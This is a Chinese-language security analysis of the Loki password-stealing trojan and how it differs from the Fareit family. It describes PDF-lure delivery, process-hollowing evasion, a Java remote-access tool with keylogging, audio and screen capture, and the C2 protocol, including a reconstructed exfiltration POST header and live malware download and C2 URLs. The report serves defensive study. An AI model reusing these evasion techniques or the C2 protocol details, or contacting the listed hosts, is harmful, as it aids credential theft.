一 简介
近日, loki窃密恶意软件在网上较为流行。最初获取到该家族的木马样本后,从直观上感觉该家族样本与fareit窃密木马家族在有一定的功能共性与代码相似性。相对于fareit家族来说,loki家族木马在代码反混淆的上做了一定的技术提升,但在通信协议的隐藏上却不及fareit家族木马。鉴于其与fareit家族木马还有一定的差别,决定将其做为loki家族,此命名也是参考了网上的安全同行的命名。
Loki家族与fareit家族最终功能相同,主要功能为窃取用户数据,主要包括用户的各类FTP类软件、浏览器类软件、邮件类软件的用户名密码等数据。
Loki家族与fareit家族的共同点表现为:
都是通过vb程序做为loader,而且loader代码结构相似,尤其是向傀儡进程中拷贝payload数据时,都将MZ头中的"M"字符分开拷贝。
Payload中的窃密函数都是以函数数组方式编程,多数窃密函数是通过注册表方式得到用户数据,各个窃密函数得到的数据通过stream流的方式拼接在一起。
代码中的选用了相同的校验算法与压缩算法。
两类家族的不同主要体现在:
Fareit家族的通信协议更为复杂,木马窃取到用户数据后,会将用户数据以不同标识进行分隔后,使用aplib压缩,压缩后的数据进行CRC32校验,最后再经过两次RC4加密,其中第一次RC4的密钥硬编码在程序中,第二次RC4的密钥随机生成。而loki家族的通信没有经过任何处理,而是明文传输。这种技术退步是我们将其做为新家族的重要原因。
两者在反分析人员上具有不同的特点,fareit通过花指令进行代码混淆,而loki通过对函数对调用的系统函数进行混淆。两者对比情况如下:
下图为fareit家族的花指令代码
下图为loki家族的动态API调用
Fareit的校验使用了标准的CRC32算法,而loki中的校验算法是在标准CRC32算法的基础上做了修改。
Fareit的CC地址明文硬编码在程序中,而loki的CC地址经过加密后存储
我们今天主要对loki窃取木马做一个分析。
二 对loki的分析
Loki家族通过PDF做为载体进行传播,PDF通过社会工程学诱导用户下载恶意软件,在恶意软件加载后,通过傀儡进程的方式加载真正的payload,payload窃取用户数据后发送到CC地址。
在某些pdf软件中,整个文件就是一张图片和一个下载链接,不管是点击图片还是点击下载链接,都会下载 http://194.88.105.202/~ninjagro/pdfs/QUOTATION.exe 并运行。这是因为该PDF软件对pdf的解析不够好导致的,实际上图片中嵌入了三个uzrl地址。
在win10 浏览器中打开该PDF时,可以看到实际上的PDF中嵌入了三个链接地址。
分别在下图中的框的位置嵌入了链接。
通过对pdf中的对象进行提取,可以看到其对应的下载地址分别为:
PDF通过社会工程学诱导用户下载恶意软件并运行。
后面我们将对嵌入到pdf中的jar文件与exe文件分别进行分析。
Jar文件的分析:
Jar文件为一个远控木马,会将自己写入启动项
对jar反编译,可以看到有对反虚拟机检测的配置
循环检测进程的代码:
检控CPU使用情况:
key-logger模块,用于记录用户的键盘操作。
录音功能:可以远程打开用户的麦克风进行录音,并窃取记录的音频文件。
屏幕截图功能:窃取用户的屏幕操作信息。
对用户屏幕的截图和键盘记录会保存在data目录下,其中屏幕截图保存在sl目录下,键盘记录内容经过base64加密
屏幕截图代码:
键盘记录base64解密后:
Jar释放的文件分析
WindowsPatch.exe
其释放的WindowsPatch.exe 是一个命令行的木马管理程序。
它实现了用户窗口的管理功能,文件的系统属性的设置,对用户电脑显示器屏幕的控制等功能,此外还提供了对chrome浏览器保存密码的读取功能。
p003.exe
对于另外一个p003.exe,可以看到它经过了SmartAssembly混淆软件进行了代码混淆,现在软件已经过了使用的有效期。
但可以从代码中看出,其实现的功能也就是盗取chrome保存的密码
Exe文件分析
当用户在pdf文件中点击了其中的另外一个的链接时,将会从http://194.88.105.202/~ninjagro/pdfs/QUOTATION.exe 下载恶意样本执行。
样本为vb程序编写。
该程序实际为一loader,会在内存中释放真正的恶意软件,并在通过傀儡进程的方式内存中加载执行。
下图为向傀儡进程中写入生成的PE文件。为了防止安全软件的检测,在内存中写入生成文件的PE头时,分两次写入第一次写入了除MZ头标志中的'M'以外的其他数据,第二次写入'M'补全PE头。随后,将PE区段在傀儡进程中展开,并通过SetThreadContext恢复傀儡进程的执行。
写入除M以外的PE头
写入"M“,补全PE头
写入代码段
拷贝加密过的CC地址到payload中
将写入到傀儡进程中的数据dump出来后,做为后面的payload进行分析。
Payload分析
Payload的主要功能是窃取用户的密码信息后发送到CC地址。
对于其主要的功能点,分析如下:
收集用户信息
收集的用户信息包括:计算机名,桌面窗口,系统信息等
生成用户机器标识
用户标识用来唯一的标识目标用户。
生成的用户标识为E1617E16F7D75B3218E38D668B82C1C0,同时将用户标识作为了互斥体,用来防止程序重复运行。这种不同机器不同互斥体的方法可以用来阻碍分析人员的情报共享。
窃取用户密码信息
循环调用盗取密码的函数,共有65次函数调用,这65次的函数调用只是要窃取的部分的用户软件数量。木马软件要盗取的软件密码的数量要远大于这个数字。
好多软件的用户名密码信息都是通过读取注册表来实现的
其中窃取的浏览器信息中,有且只有一款国产浏览器出现:
CC地址解密
使用微软的CRYPT API解密出网络地址,该地址并非真正的CC地址。解密出的地址为kbfvzoboss.bid/alien/fre.php,用来迷惑分析人员,
而真实的CC地址是在上一阶段VB写入到payload中一小段密文通过异或 FF 得到,最终得到的CC地址为: http://online-prodaja.rs/tz/Panel/five/fre.php
CC通信格式
发送的数据内容格式如下:
对于通信协议中最主要的是USER-AGENT字段与Content-key字段。我们将分析这两个字段的生成算法。
User-agent的生成
使用字符串”KOSFKF“;做为key,解密出UA
Content-Key的生成:
使用自定义的CRC32算法生成校验值,将校验值*2的值做为Content-Key
使用了变形的CRC算法,将标准的CRC32算法中的0xEDB88320常量替换成了0xE8677835
对下面的内容进行自定义的CRC32运算,结果为:B18BDBEE
POST /tz/Panel/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: online-prodaja.rsAccept: */*Content-Type: application/octet-streamContent-Encoding: binary
将上面的自定义的校验值B18BDBEE*2 做为是终的Content-Key:6317B7DC
最终构造出来的包头:
持久化
软件自身设计有问题,在xp系统中并不会添加启动项,在window 7系统中会在启动文件夹中生成启动脚本。
三 总结
通过上面的分析,可以看到,相比于窃密软件fareit家族,loki家族与fareit家族的大部分功能都很类似,两者的主要区别在于通信协议的处理上,loki家族的通信协议相对于fareit家族有一定的退步,这使我们认定loki家族并不是fareit家族的更新版本。但也应当看到loki家族在CC地址的隐藏上、对分析人员的迷惑手段上、窃取的用户信息的种类与数量上都有了一定的提升。对浏览器密码的窃取上,国内浏览器厂商的出现也表明中国网民已经成为是恶意软件作者的目标。最后,提醒广大网民,打好系统补丁,不随意打开陌生人发送的程序、文档等。
四 参考:
http://blog.fortinet.com/2017/05/17/new-loki-variant-being-spread-via-pdf-file